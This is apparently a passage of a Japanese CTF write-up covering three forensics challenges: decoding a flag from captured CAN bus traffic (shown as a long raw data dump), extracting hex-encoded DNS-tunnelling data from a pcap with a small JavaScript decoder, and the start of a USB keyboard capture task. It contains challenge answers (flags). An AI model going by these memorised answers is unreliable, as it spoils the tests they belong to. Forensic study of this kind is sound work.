zM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\k\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kzM\kz
21E:7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"7E"/7E">7E"7E"
039:9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9**9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9
1CF:-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<-<
1DC:*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*99*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9*9
37C:8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8)8)8)8)8)88)8)8)8
40C:JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%6229S0913849JHMFA3%6229S09138496229S0913849JHMFA3%
5A1:b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>bb/b>b

ASCIIデータを眺めるとID244にflagのような文字列が見つかる。

244:GxG*FRYr}y81U6U.^D%.=]`Gv-sY*@Hf?)&hv"iJ(6\%3-8Wwx}Fd_{{Sk6xKR8sdn_o**
WsWk?$rTVQ LM^&70V&rPGL?vt2qWqU!zm3d#EYm=W2_ajb"2>TtJ%r8/ByIx8UF#fffffffffffff
ffffffffffffffffffffffffffffffffffffffffffffffffffffffffflllllllllllllllllllll
llllllllllllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaggggggggggggggggggggggggggggggggggggg
ggggggggggggggggggggggggggggggggg{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{{
{{{{{{{{{{{{{{{{{{{{{{{{{{cccccccccccccccccccccccccccccccccccccccccccccccccccc
cccccccccccccccccccaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaannnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnn
nnn_______________________________________________________________________bbbb
bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbuuuuuuuuuu
uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuusssssssssssssssssss
sssssssssssssssssssssssssssssssssssssssssssssssssss___________________________
____________________________________________hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhh
hhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhhaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
aaaaaaaaaaaaaaaaaaaaaaaaaaaccccccccccccccccccccccccccccccccccccccccccccccccccc
ccccccccccccccccccccckkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkkk
kkkkkkkkkkkkkiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiiii
iiiiinnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnnngggg
ggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg}}}}}}}}}}}
}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}}{8R@!IN}d2Cp}FJJ2y
fYeG]`DzLeHYQR(BB&( p"v.;gWFf};[4g]M%2GL.=eiJQ"ep>`]S:UZ[ONv.(BGh*a'm+/=qw]Xdj
*yHr=n0b364'ERIu'a1S!9*B2p>"Pf26>tKFj69x$f1;uOa}8x[:eN:M=ghG?p5wCou>N}C:_5B]rj
1x4@2+Mr!BEOvQXSJNG9LeYyAEH~VD1;.DqG,8Z|N]Ea$lh?f 6iL`^"woK3f`6_WulI5id}~++>"T
Yzt@YY|GT!T&Eu4*w0qFrY'FPKSk44B6(-Sf`&K('-,^y$KH-}$PTU;1g^KoZ~bDJ1M(P&)KqOs_^F
_Is8u;L[4_.[f~B19{&|eX^z_>7Lnr6R)*+]fr'1*3^$Od+@J&Cm5aS7esKU-ly:V`D+[ka&LLe>](
7^u{++6P3JKC=?B`/{{g8TNt"SYKRWO_fj6Gsq$6&_4(z?y&@$U'ufg!2GEjx4a;i9^srT,w74:ZVH
2tZqt<8 yaVFRIvY(Zlq?`p~xOT>B[:Ruw&9d$80QL9Qz9rJuJit)h~rdM8JSWp>Z3hnYYyako8]/t
2V3`g<

flagの文字列を送信しているが、同じ文字が何度もキャプチャされているので伸びているようだ。短くするとflagになる。

flag{can_bus_hacking}

Digdig (Network:200)

組織内の通信を監視している部署からマルウェア感染した端末から他にはない不審な通信が発生していたことが分かり、急ぎ解析してほしいを依頼がありました。どうやら、通信自体は組織内で許可されているプロトコルが使用されていたため外部に通信できた可能性もあり焦っているようです。

添付されたファイルを解析し、フラグを入手してください。

pcapファイルが配布され、Wiresharkで開くと中身はDNSクエリの通信ログになっている。例えば 005aa00663655f7472795f53.setodanote.net のようにクエリのサブドメイン部分に16進数列が見えるので、ログをテキストファイルとして出力したものからこれを抜き出してASCII文字に変換するスクリプトを書いた(過去のものを流用した)。

          <form action="#">
            <fieldset>
              <label>入力</label>
              <p>
                <textarea cols="60" rows="10" name="inp"></textarea>
              </p>
            </fieldset>
            <p class="submit">
              <input type="button" name="btn" value="go" onclick="func1(this.form);return false;"/>
            </p>
            <fieldset>
              <label>出力</label>
              <p>
                <textarea cols="60" rows="10" name="oup"></textarea>
              </p>
            </fieldset>
          </form>
<script>

func1 = function(f) {
        
        var input_Ary = f.inp.value.split("\n");
        var outputA = [];
        var outputB = new Array(100);
        for(var i=0; i<input_Ary.length;i++) {
                if(input_Ary[i].substr(23,15)=="192.168.224.105")
                        outputA.push(input_Ary[i].substr(input_Ary[i].length-34,19));
        }
        
        for(i=7; i<outputA.length; i++) {
                tmp = "";
                for(j=1; j<outputA[i].length/2-1; j++) {
                        num = parseInt(outputA[i].substr(j*2+1,2),16);
                        if(num>31 && num<127)tmp += String.fromCharCode(num);
                        else tmp += " ";
                }
                outputB[parseInt(outputA[i].substr(1,2),16)] = tmp;
        }
        f.oup.value = outputB.join("");
}

</script>

出力結果は以下のとおり

flag is flag{This_is_DAMMY_FLAG} flag is flag{Nice_try_Sorry_for_that} flag is flag{DNS_S3cur17y_T1071!} flag is flag{7h3_k3y_15_53cur17y}222222

flag{DNS_S3cur17y_T1071!}

Logger (Network:250)

夕暮れ時、あなたの携帯が鳴動します。相手の番号は不明。非通知は拒否設定のはずと不思議に思いつつ電話に出ると「お前の秘密を知っている」と低い男の声が聞こえすぐに切れてしまいました。直後、あなたの携帯にファイルが添付された空白のメールが届きます。

添付されたファイルを解析してフラグを入手してください。

pcapファイルが配布される。中身はUSB HIDの通信ログになっている。キーボードのものだ。

